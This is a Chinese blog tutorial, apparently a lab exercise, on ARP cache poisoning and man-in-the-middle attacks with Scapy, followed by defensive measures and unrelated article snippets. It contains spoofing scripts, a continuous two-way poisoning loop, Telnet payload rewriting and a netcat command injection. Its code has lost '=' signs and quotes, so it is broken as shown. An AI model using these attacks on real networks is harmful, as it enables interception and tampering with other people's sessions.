当前位置: 首页 > article >正文

Scapy实战:从ARP缓存投毒到中间人攻击的攻防演练

1. ARP协议与缓存投毒原理剖析ARPAddress Resolution Protocol是局域网通信的基础协议它的作用就像现实生活中的电话簿负责将IP地址转换成对应的MAC地址。每台设备都维护着一个ARP缓存表记录着最近通信过的设备信息。这个机制本是为了提高通信效率但却成为了攻击者的突破口。ARP协议的工作流程很简单当主机A需要与主机B通信时会先查询本地ARP缓存。如果找不到对应条目就会广播一个ARP请求谁的IP是192.168.1.2请告诉192.168.1.1。目标主机收到后会单播回复我是192.168.1.2我的MAC是xx:xx:xx:xx:xx。这个过程没有任何身份验证机制就像在大街上随便问个人你是张三吗只要对方说是你就会相信。ARP缓存投毒就是利用这个缺陷。攻击者可以伪造ARP响应包告诉受害者我是网关我的MAC是攻击者的MAC。这样受害者就会把本该发给网关的数据都发给攻击者。我在实验室环境中做过测试一个简单的ARP欺骗包就能让目标主机在毫秒级更新缓存。用Scapy构造ARP包特别简单核心字段就这几个op1表示请求2表示响应psrc/pdst源/目标IPhwsrc/hwdst源/目标MAC比如构造一个欺骗包from scapy.all import * pkt Ether(dstff:ff:ff:ff:ff:ff)/ARP( op2, psrc192.168.1.1, # 假装是网关 pdst192.168.1.100, # 目标主机 hwsrc00:11:22:33:44:55 # 攻击者MAC ) sendp(pkt)2. 实战ARP缓存投毒的三重奏2.1 普通ARP请求攻击这是最基础的攻击方式。攻击者发送ARP请求包在包中声明我是网关。虽然ARP请求本应是询问而非声明但很多系统会不假思索地更新缓存。实测发现Windows 10和部分Linux发行版会中招。攻击代码pkt Ether(dstff:ff:ff:ff:ff:ff)/ARP( op1, # 请求包 psrc192.168.1.1, pdst192.168.1.100, hwsrc00:11:22:33:44:55 )但这种攻击有个致命弱点如果目标缓存中已有正确条目攻击成功率会大幅下降。我在测试中发现成功率不足30%因为系统会优先相信已有的缓存。2.2 ARP响应包攻击相比请求包响应包更具欺骗性。攻击者主动告诉目标网关的MAC更新了。代码只需将op改为2pkt Ether(dstff:ff:ff:ff:ff:ff)/ARP( op2, # 响应包 psrc192.168.1.1, pdst192.168.1.100, hwsrc00:11:22:33:44:55 )但这里有个有趣现象如果目标根本没有查询过这个IP攻击反而会失败。因为系统会觉得我又没问你你干嘛告诉我。这就像突然有人打电话跟你说我是快递员但你根本没网购自然会产生怀疑。2.3 免费ARP攻击这是最阴险的一招。免费ARP本是用于IP冲突检测的攻击者广播声明我是我自己但把MAC改成攻击者的pkt Ether(dstff:ff:ff:ff:ff:ff)/ARP( op1, psrc192.168.1.1, pdst192.168.1.1, # 源目IP相同 hwsrc00:11:22:33:44:55 )这种攻击对已有缓存的目标特别有效因为系统会认为这是正常的地址更新。我的测试显示成功率高达95%以上。但要注意如果目标没有该IP的缓存攻击同样会失效。3. 搭建中间人攻击实战环境3.1 实验环境配置建议使用三台虚拟机攻击机(Kali Linux)运行Scapy脚本受害机A(Windows 10)安装Wireshark观察流量受害机B(Ubuntu)运行telnet/netcat服务网络配置要点所有机器在同一局域网段如192.168.1.0/24关闭防火墙和SELinux在攻击机上启用IP转发echo 1 /proc/sys/net/ipv4/ip_forward3.2 双向ARP欺骗要让中间人攻击持久生效需要同时欺骗通信双方from time import sleep def arp_poison(): while True: # 告诉A攻击者是B sendp(Ether()/ARP(op2, psrc192.168.1.2, pdst192.168.1.100, hwsrc00:11:22:33:44:55)) # 告诉B攻击者是A sendp(Ether()/ARP(op2, psrc192.168.1.100, pdst192.168.1.2, hwsrc00:11:22:33:44:55)) sleep(5) # 每5秒刷新一次这个脚本需要持续运行因为ARP缓存会定期更新通常2-5分钟。我在测试中发现间隔时间太短会导致网络拥塞太长又会让攻击失效5秒是个不错的平衡点。4. 实时流量劫持与篡改4.1 Telnet会话劫持Telnet是明文协议特别适合演示中间人攻击。攻击流程建立双向ARP欺骗启用IP转发让通信建立嗅探并修改流量关键代码def spoof_pkt(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): # 修改A-B的流量 if pkt[IP].src 192.168.1.100 and pkt[IP].dst 192.168.1.2: data pkt[TCP].payload.load newdata data.replace(bls, bxx) # 把ls命令替换成xx newpkt pkt[IP]/pkt[TCP]/Raw(loadnewdata) del newpkt[IP].chksum del newpkt[TCP].chksum send(newpkt, verbose0) # 原样转发B-A的流量 elif pkt[IP].src 192.168.1.2 and pkt[IP].dst 192.168.1.100: send(pkt, verbose0) sniff(filtertcp port 23, prnspoof_pkt)4.2 Netcat会话注入Netcat常用于文件传输攻击者可以注入额外命令if bpassword in data: newdata data b\n echo Hacked! /tmp/pwned\n我在测试中发现一个坑TCP序列号必须严格匹配。如果修改后的包长度变化太大会导致连接中断。解决方法是在payload中保持长度一致比如用空格填充。5. 防御措施与检测方法5.1 静态ARP绑定最有效的防御是在关键设备上设置静态ARP条目arp -s 192.168.1.1 00:11:22:33:44:66但维护成本很高适合网关等固定设备。5.2 ARP监控工具推荐两个实用工具arpwatch记录ARP变化并报警XArp图形化显示ARP异常5.3 网络隔离划分VLAN可以限制ARP广播范围。比如把财务部和普通员工隔离开这样即使有ARP欺骗影响范围也有限。5.4 加密通信使用SSH代替TelnetHTTPS代替HTTP。即使流量被劫持攻击者也无法解密内容。我在内网渗透测试时发现加密通道能让90%的中间人攻击失效。

相关文章:

Scapy实战:从ARP缓存投毒到中间人攻击的攻防演练

1. ARP协议与缓存投毒原理剖析 ARP(Address Resolution Protocol)是局域网通信的基础协议,它的作用就像现实生活中的电话簿,负责将IP地址转换成对应的MAC地址。每台设备都维护着一个ARP缓存表,记录着最近通信过的设备信…...

XFCE桌面环境深度定制:彻底禁用自动锁屏与待机策略

1. 为什么需要禁用自动锁屏与待机功能? 很多使用Xubuntu系统的朋友都遇到过这样的困扰:正在跑一个长时间的任务,比如视频渲染、代码编译或者远程服务器监控,突然屏幕黑了,系统进入待机状态。更糟的是,有些…...

从宏观到微观:交通流模型如何驱动现代仿真系统

1. 交通流模型的三大流派:宏观、微观与混合 第一次接触交通流模型时,我被各种术语搞得晕头转向。直到在智慧城市项目里实际调试仿真系统,才真正理解不同模型的适用场景。简单来说,交通流模型就像观察蚂蚁搬家——你可以站在高处看…...

【实战指南】FreeRTOS 10.4.6源码解析与STM32F429移植全流程

1. FreeRTOS 10.4.6源码获取与解析 第一次接触FreeRTOS源码时,我对着官网密密麻麻的目录树发懵——这堆文件到底哪些才是核心?后来踩过几次坑才明白,Source和portable这两个文件夹就是整个系统的灵魂所在。以STM32F429为例,我们从…...

用PyTorch搞定ShapeNet部件分割:从数据加载到可视化,一份避坑指南

用PyTorch搞定ShapeNet部件分割:从数据加载到可视化,一份避坑指南 在3D点云深度学习领域,ShapeNet数据集因其丰富的部件标注信息而成为研究热点。但对于刚接触该领域的研究者来说,从原始数据到可视化结果的全流程往往充满陷阱——…...

CamOver实战指南:从零部署到自动化摄像头安全评估

1. CamOver工具简介与核心价值 CamOver是一款专注于网络摄像头安全评估的专业工具,它能够帮助安全研究人员快速发现并验证摄像头设备的安全漏洞。不同于普通的扫描工具,CamOver最大的特点在于它集成了Shodan和ZoomEye两大搜索引擎的API接口,可…...

TMS320F28335新手避坑指南:从零搭建CCS7.2项目到点亮第一个LED(附完整源码包)

TMS320F28335实战入门:CCS7.2环境搭建与LED控制全流程解析 第一次接触TMS320F28335这款经典DSP芯片时,面对CCS开发环境和复杂的项目配置,很多开发者都会经历从兴奋到困惑的过程。本文将以最简路径带你完成开发环境搭建、项目配置到第一个LED控…...

C#与Halcon控件深度集成:打造高交互性图像浏览窗口

1. 为什么需要深度集成Halcon控件? 在工业视觉和图像处理领域,Halcon一直是功能强大的工具库。但很多开发者在使用C#开发界面时,常常会遇到一个尴尬的问题:Halcon自带的图像显示窗口交互体验不够友好。想象一下,当操作…...

[CTF实战]从数字密文到Flag:Base与凯撒的联合破译

1. 数字密文的初步观察 拿到这道CTF题目时,首先映入眼帘的是一串长达百位的数字:3207357975641587136122466514425152961654613410728337142271750273124995105747053991640817066352343657398947248938255086358418100814441196784643527787764297。这…...

Vivado里AXI接口IP核怎么选?从DMA到VDMA,一次讲清ZYNQ数据搬运的“十八般兵器”

ZYNQ数据搬运核心IP选型指南:从DMA到VDMA的实战解析 在ZYNQ异构计算架构中,PS与PL的高效数据交互直接影响系统性能表现。面对Vivado IP Catalog中琳琅满目的AXI接口IP,开发者常陷入选择困境——AXI-DMA与AXI-VDMA有何本质区别?何时…...

告别迷茫!手把手教你用IQxel搞定Wi-Fi 6E信号测试(附详细配置截图)

告别迷茫!手把手教你用IQxel搞定Wi-Fi 6E信号测试 第一次拿到IQxel测试仪时,面对密密麻麻的网页界面和数十个参数选项,我完全不知从何下手。作为一款专业级无线测试设备,IQxel在Wi-Fi 6/6E测试领域确实功能强大,但它的…...

别再傻傻分不清了!Arduino编程中I/O和GPIO到底有啥区别?(附实战代码)

Arduino编程实战:I/O与GPIO的本质区别与正确用法 第一次接触Arduino开发板时,看到引脚上密密麻麻标注着"Digital I/O"、"Analog Input"和"PWM"等字样,而查阅芯片手册又频繁遇到"GPIO"这个专业术语&a…...

安信可ESP8266 AT固件连接自建MQTT服务器实战:从烧录到订阅发布的完整避坑指南

安信可ESP8266 AT固件连接自建MQTT服务器实战:从烧录到订阅发布的完整避坑指南 在物联网设备开发中,MQTT协议因其轻量级和高效性成为设备与服务器通信的首选方案。安信可ESP8266模块搭配AT固件,为开发者提供了一种快速实现MQTT连接的解决方案…...

Python医学图像分割评估实战:MedPy核心指标详解与应用

1. 医学图像分割评估为什么需要量化指标? 在医学影像分析领域,图像分割的质量直接影响后续诊断和治疗方案的制定。想象一下,如果医生需要评估一个脑肿瘤分割算法,仅靠肉眼观察两张分割结果图(算法预测结果和专家标注的…...

龙虾配置文件OpenClaw Workspace MD 文件源码分析总览

OpenClaw Workspace MD 文件源码分析总览 / Summary 分析日期: 2026-04-18 分析基准: OpenClaw 源码 C:\github\openclaw 文件数: 7 核心发现一览 文件 角色 排序 子Agent可见 压缩后保留 特殊代码处理 AGENTS.md 员工手册 10 (最高) ✅ ✅ Session Startup + Red Lines 提取章…...

若依框架深度定制:移除默认首页并实现登录后智能路由跳转

1. 若依框架路由定制需求分析 很多企业级项目在使用若依框架时,都会遇到一个典型需求:移除系统默认的欢迎首页,让用户在登录后直接跳转到其权限下的首个有效功能菜单页面。这个需求看似简单,但实际改造过程中会遇到不少坑。我最近…...

龙虾配置文件之HEARTBEAT.md 源码分析与配置指南

HEARTBEAT.md 源码分析与配置指南 / HEARTBEAT.md Source Code Analysis & Configuration Guide 分析文件: HEARTBEAT.md 生成日期: 2026-04-18 分析基准: OpenClaw 源码 C:\github\openclaw 一、代码层面的完整生命周期 1.1 加载阶段:动态上下文文件 HEARTBEAT.md 的加…...

【AGI能源治理黄金标准】:从IEEE P2857到中国《智能能源代理系统规范》强制实施前夜的关键适配指南

第一章:AGI能源治理黄金标准的全球演进与时代意义 2026奇点智能技术大会(https://ml-summit.org) 随着通用人工智能(AGI)从理论构想加速迈向系统级部署,其算力消耗已突破传统数据中心能效边界。全球头部研究机构与政策制定者正协…...

从空气动力学到代码:Matlab仿真揭秘风机Pm-Wm动态关系

1. 风力发电机组动态关系建模基础 第一次接触风机Pm-Wm曲线时,我被这个看似简单的曲线背后复杂的物理原理震撼到了。就像开车时踩油门,发动机转速和输出功率的关系看似直观,但真要建模却需要考虑空气动力学、机械传动、电气特性等多重因素。 …...

RS485总线实战:从差分信号到工业网络搭建

1. RS485总线:工业通信的"抗干扰之王" 第一次接触RS485总线是在2015年参与某工厂自动化改造项目时。当时车间里各种电机、变频器产生的电磁干扰让传统的RS232通信完全无法工作,经常出现数据丢包。直到改用RS485方案,通信稳定性立刻…...

Win10/Win11双硬盘用户必看:如何将系统盘从MBR迁移到GPT并启用UEFI引导(数据盘不动)

双硬盘用户系统盘MBR转GPT实战指南:零风险保留数据盘配置 你是否遇到过这样的困扰——开机速度越来越慢,系统响应迟钝,而那块装着重要数据和游戏文件的HDD硬盘又不敢轻易动它?对于使用SSDHDD双硬盘配置的用户来说,这种…...

OpenCore技术革命:重新定义旧Mac硬件再生的开源创新范式

OpenCore技术革命:重新定义旧Mac硬件再生的开源创新范式 【免费下载链接】OpenCore-Legacy-Patcher Experience macOS just like before 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 在苹果生态系统中,硬件生命周…...

深入解析LC118:一款专为低压玩具设计的SOP-8直流电机驱动芯

1. LC118芯片:玩具电机的"智能小管家" 第一次拿到LC118这颗SOP-8封装的驱动芯片时,我正为一个迷你机器人项目发愁。当时需要驱动两个3V微型电机,但普通驱动方案要么体积太大,要么发热严重。直到发现这个指甲盖大小的芯…...

从零到一:CLRNet车道线检测算法在Tusimple数据集上的实战部署与效果验证

1. 环境准备与依赖安装 第一次接触CLRNet时,我也被官方文档里密密麻麻的依赖项吓了一跳。但实际操作下来发现,只要按步骤来,半小时就能搞定环境。我的测试平台是Ubuntu 20.04 LTS,配了张RTX 3090显卡。这里分享几个容易踩坑的细节…...

头歌(educoder)机器学习实战:Apriori算法解析与超市购物篮智能挖掘

1. 从购物小票到商业洞察:Apriori算法入门 每次逛超市结账时,收银台打印的那张长长的小票背后,藏着无数有趣的消费秘密。你可能听说过那个经典的"啤酒与尿布"故事——超市发现年轻爸爸们经常同时购买这两样商品,于是调整…...

FanControl:重新定义Windows风扇控制的智能协同范式

FanControl:重新定义Windows风扇控制的智能协同范式 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending/fa/F…...

MySQL插入数据时如何实现条件判断与幂等性保障

1. MySQL插入数据时的条件判断与幂等性需求 在实际开发中,我们经常会遇到这样的场景:需要向数据库插入数据,但又不确定数据是否已经存在。比如用户注册时防止重复提交、订单系统避免重复创建、日志系统去重等。这时候就需要在插入数据时加入条…...

头歌(educoder)机器学习实战:从购物篮到商业洞察的Apriori算法全流程解析

1. 从购物篮到商业洞察:Apriori算法入门指南 想象你是一家超市的数据分析师,每天面对成千上万条购物记录。如何从这些看似杂乱的数据中发现"啤酒和尿布"这样的黄金组合?这就是关联规则分析的魅力所在。Apriori算法作为最经典的关联…...

别再混淆了!一文讲透SAP中OB52、OKP1、1KEF分别管什么账期(附业务场景图解)

SAP账期管理全解析:OB52、OKP1与1KEF的核心逻辑与实战避坑指南 刚接触SAP的财务顾问最常遇到的灵魂拷问莫过于:"为什么生产发料报错?"、"月结时CO凭证无法过账?"、"利润中心数据突然锁死?&qu…...

手把手教你搞定Xilinx Ultrascale+ FPGA的LVDS通道对齐(含14bit转8bit实战)

Xilinx Ultrascale FPGA的LVDS通道对齐实战:从14bit到8bit的高效转换 在高速数据采集系统中,LVDS接口因其优异的抗干扰能力和高速传输特性成为ADC与FPGA间通信的首选方案。然而,面对非标准位宽(如14bit)的ADC数据输出&…...